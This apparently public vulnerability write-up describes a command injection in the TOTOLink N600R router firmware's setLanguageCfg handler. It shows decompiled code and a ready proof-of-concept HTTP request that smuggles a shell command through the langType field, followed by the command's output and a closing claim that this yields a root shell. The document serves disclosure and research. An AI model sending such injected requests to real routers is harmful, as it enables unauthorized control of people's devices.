

main IOT_vuln / TOTOLink / N600R / 2 /

rencvn and rencvn add tototalink n600r ...

on Apr 6 History

..

img 8 months ago

readme.md 8 months ago

readme.md

TOTOLink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

- Manufacturer's website information: <http://www.totolink.cn>
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

1. Affected version

| 编号 | 标题 | 版本 | 上传时间 | 下载 |
|----|-------------|-------------------------|------------|---|
| 1 | N600R升级过渡版本 | V5.3c.7159_B20190425 | 2021-07-17 |  |
| 2 | N600R升级固件 | V4.3.0cu.7647_B20210106 | 2021-07-17 |  |
| 3 | N600R数据手册 | Ver1.0 | 2021-08-10 |  |

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
10 v6 = (const char *)websGetVar(a2, "langType", "");
11 v7 = (const char *)websGetVar(a2, "langFlag", "1");
12 memset(v9, 0, sizeof(v9));
13 v10[0] = 0;
14 v10[1] = 0;
15 v10[2] = 0;
16 v10[3] = 0;
17 v10[4] = 0;
18 v10[5] = 0;
19 v10[6] = 0;
20 v10[7] = 0;
21 v11 = 0;
22 v12 = 1;
23 apmib_set(6002, v6);
24 v12 = atoi(v7);
25 apmib_set(7012, &v12);
26 if ( f_exists("/mnt/custom/product.ini") )
27 {
28     sprintf(v9, "helpUrl_%s", v6);
29     inifile_get_string("/mnt/custom/product.ini", "PRODUCT", v9, v10);
30     apmib_set(7017, v10);
31 }
32 if ( !fork() )
33 {
34     sleep(1u);
35     apmib_update_web(4);
36     exit(1);
37 }
38 CsteSystem("rm -rf /var/js/language* 1>/dev/null 2>&1", 0);
39 sprintf(v9, "cp /web_cste/js/language_%s.js /var/js/language.js", v6);
40 CsteSystem(v9, 0);
41 CsteSystem("ln -s /var/js/language.js /web_cste/js/language.js 1>/dev/null 2>&1", 0);
42 websSetCfgResponse(a1, a3, "0", "reserv");
```

The content obtained by the program through the langtype parameter is passed to V6, and then the matched content is formatted into V9 through the sprintf function, and V9 is brought into the cstesystem function

```

1 int __fastcall CsteSystem(const char *a1, int a2)
2 {
3     int result; // $v0
4     int v5; // $s0
5     int v6; // $a0
6     _DWORD *v7; // $v0
7     int v8; // [sp+18h] [-1Ch] BYREF
8     int v9[6]; // [sp+1Ch] [-18h] BYREF
9
10    v8 = 0;
11    if ( a1 )
12    {
13        v5 = fork();
14        result = -1;
15        if ( v5 != -1 )
16        {
17            if ( !v5 )
18            {
19                v9[0] = (int)"sh";
20                v9[1] = (int)"-c";
21                v9[2] = (int)a1;
22                v9[3] = 0;
23                if ( a2 )
24                    printf("[system]: %s\r\n", a1);
25                execv("/bin/sh", v9);
26                exit(127);

```

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159_B20190425
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
```

```
Host: 192.168.0.1
```

```
Content-Length: 135
```

```
Accept: */*
```

```
X-Requested-With: XMLHttpRequest
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
```

like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647869489:2
Connection: close

```
{"topicurl":"setting/setLanguageCfg",  
"langType":"cn$(1s>/tmp/2.txt)"  
  "operationMode":      0,  
  "loginFlag":          0,  
  "lanIp":               "192.168.0.1",  
  "wanConnStatus":      "connected",  
  "multiLangBt":        "",  
  "langFlag":            0,  
  "helpBt":              1,  
  "languageType":        "cnnn",  
  "helpUrl_":            "",  
  "productName":         "N600R",  
  "fmVersion":            "V5.3c.7159",  
  "webTitle":             "",  
  "copyRight":           "",  
  "autoLangBt":          0,  
  "CSID": "CS160R"}
```

The reproduction results are as follows:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab on the left shows a POST request to `/cgi-bin/cstecgi.cgi` with various headers and a JSON body. The 'Response' tab on the right shows the server's response, which is a 200 OK status with a JSON body indicating success.

Request

1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 397
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.0.1
9 Referer: http://192.168.0.1/adm/status.asp?timestamp=1647869586143
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: SESSION_ID=2:1647869489:2
13 Connection: close
14
15 {
16 "topicurl":"setting/setLanguageCfg",
17 "langType":"cn\$(1s>/tmp/2.txt)",
18 "operationMode":0,
19 "loginFlag":0,
20 "lanIp":"192.168.0.1",
21 "wanConnStatus":"connected",
22 "multiLangBt":"",
23 "langFlag":0,
24 "helpBt":1,
25 "languageType":"cnnn",
26 "helpUrl_":"",
27 "productName":"N600R",
28 "fmVersion":"V5.3c.7159",
29 "webTitle":"",
30 "copyRight":"",
31 "autoLangBt":0,
32 "CSID":"CS160R"
33 }

Response

1 HTTP/1.1 200 OK
2 Connection: close
3 Content-Type: text/plain
4 Content-Length: 98
5 Pragma: no-cache
6 Cache-Control: no-cache
7 Date: Mon, 21 Mar 2022 13:35:31 GMT
8 Server: lighttpd/1.4.20
9
10 {
11 "success": true,
12 "error": null,
13 "lan_ip": "192.168.0.1",
14 "wtime": "0",
15 "reserv": "reserv"
16 }

```
# ls /tmp
1.txt      cloudsrvup_check  lock          update_flag
2.txt      dhcpd_unix        log           usb
bridge_init dns_urlfilter_conf ntp_tmp       wanlink
cloudFwStatus firewall_igd       port_status   wanranchocontime
cloudPluginStatus fwinfo            preNtpConnectTime wscd_status
# cat /tmp/2.txt
bin
dev
etc
home
init
lib
lighttp
mnt
proc
sys
tmp
usr
var
web_cste
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell